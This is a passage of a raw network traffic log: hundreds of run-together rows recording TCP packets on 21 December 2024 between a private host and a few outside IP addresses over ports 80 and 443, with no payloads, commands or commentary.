                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.227438927 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.227493048 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.227608919 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.227659941 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.228902102 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.228954077 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.229013920 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.229067087 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.230293036 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.230356932 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.230544090 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.230602026 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.231745958 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.231802940 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.231802940 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.231859922 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.233198881 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.233253956 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.233299017 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.233357906 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.234631062 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.234687090 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.234739065 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.234797001 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.236041069 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.236099005 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.236108065 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.236166954 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.237459898 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.237495899 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.237519026 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.237557888 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.238847017 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.238953114 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.239032030 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.240291119 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.240361929 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.240484953 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.240542889 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.241753101 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.241811991 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.241959095 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.242011070 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.243093014 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.243149996 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.267510891 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.267517090 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294035912 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294132948 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294137955 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294167995 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294384003 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294497967 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294595957 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294610977 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294676065 CET49810443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.294682026 CET44349810104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.357243061 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.357310057 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.357359886 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.357438087 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.357711077 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.357741117 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.357794046 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.508568048 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.508598089 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.508677006 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.508954048 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:32.508981943 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.723016024 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.723076105 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.724704981 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.724714041 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.725035906 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.726130962 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.726253986 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.726289988 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.726341009 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:33.726346970 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.629409075 CET4980480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.629571915 CET4982280192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.675522089 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.675620079 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.675717115 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.675883055 CET49816443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.675895929 CET44349816104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.750715971 CET8049822185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.750808001 CET8049804185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.750894070 CET4980480192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.750914097 CET4982280192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.751127958 CET4982280192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:34.870655060 CET8049822185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:35.082639933 CET49825443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:35.082686901 CET44349825104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:35.082968950 CET49825443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:35.083353043 CET49825443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:35.083379984 CET44349825104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.095695972 CET8049822185.215.113.43192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.095906973 CET4982280192.168.2.4185.215.113.43
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.098292112 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.098519087 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.218295097 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.218333006 CET804980931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.218619108 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.218636990 CET4980980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.218713999 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.309534073 CET44349825104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.309762001 CET49825443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.310812950 CET49825443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.310827971 CET44349825104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.311759949 CET44349825104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.312935114 CET49825443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.313051939 CET49825443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.313086033 CET44349825104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.338484049 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.437405109 CET4983080192.168.2.4212.193.31.8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.557447910 CET8049830212.193.31.8192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.557554960 CET4983080192.168.2.4212.193.31.8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.557724953 CET4983080192.168.2.4212.193.31.8
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:36.677761078 CET8049830212.193.31.8192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.135499954 CET44349825104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.135601997 CET44349825104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.135715961 CET49825443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.135936975 CET49825443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.135955095 CET44349825104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.362716913 CET49833443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.362790108 CET44349833104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.362925053 CET49833443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.363209009 CET49833443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.363255024 CET44349833104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541297913 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541357994 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541366100 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541404009 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541414022 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541444063 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541450024 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541480064 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541495085 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541527033 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541620970 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541662931 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541678905 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541719913 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541731119 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541765928 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541773081 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541802883 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.541810036 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.542081118 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.661092997 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.661252022 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.661266088 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.661299944 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.665361881 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.665421963 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.733033895 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.733110905 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.733159065 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.733211994 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.735498905 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.735553026 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.735634089 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.735683918 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.743971109 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.744071007 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.744153023 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.744204044 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.752368927 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.752437115 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.752564907 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.752619982 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.760802984 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.760860920 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.760870934 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.760921001 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.769220114 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.769279957 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.769370079 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.769417048 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.777585983 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.777638912 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.777719021 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.777810097 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.786045074 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.786087036 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.786098957 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.786139965 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.794436932 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.794495106 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.794680119 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.794733047 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.802862883 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.802917004 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.802963018 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.803010941 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.810447931 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.810503006 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.810643911 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.810695887 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.852904081 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.852960110 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.852998972 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.853046894 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.856554031 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.856601000 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.925266981 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.925363064 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.925434113 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.925486088 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.927437067 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.927476883 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.927505016 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.927531004 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.931010962 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.931066990 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.931068897 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.931124926 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.935776949 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.935837030 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.935964108 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.936171055 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.940398932 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.940464020 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.940495968 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.940545082 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.945041895 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.945099115 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.945184946 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.945235968 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.949774981 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.949872017 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.949873924 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.949922085 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.954242945 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.954303026 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.954338074 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.954387903 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.959088087 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.959141016 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.959150076 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.959196091 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.963546991 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.963607073 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.963660002 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.963713884 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.968348980 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.968404055 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.968415976 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.968512058 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.972925901 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.972979069 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.972982883 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.973031998 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.977696896 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.977806091 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.977816105 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.977859974 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.982034922 CET804982931.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.982090950 CET4982980192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:37.982094049 CET804982931.41.244.11192.168.2.4
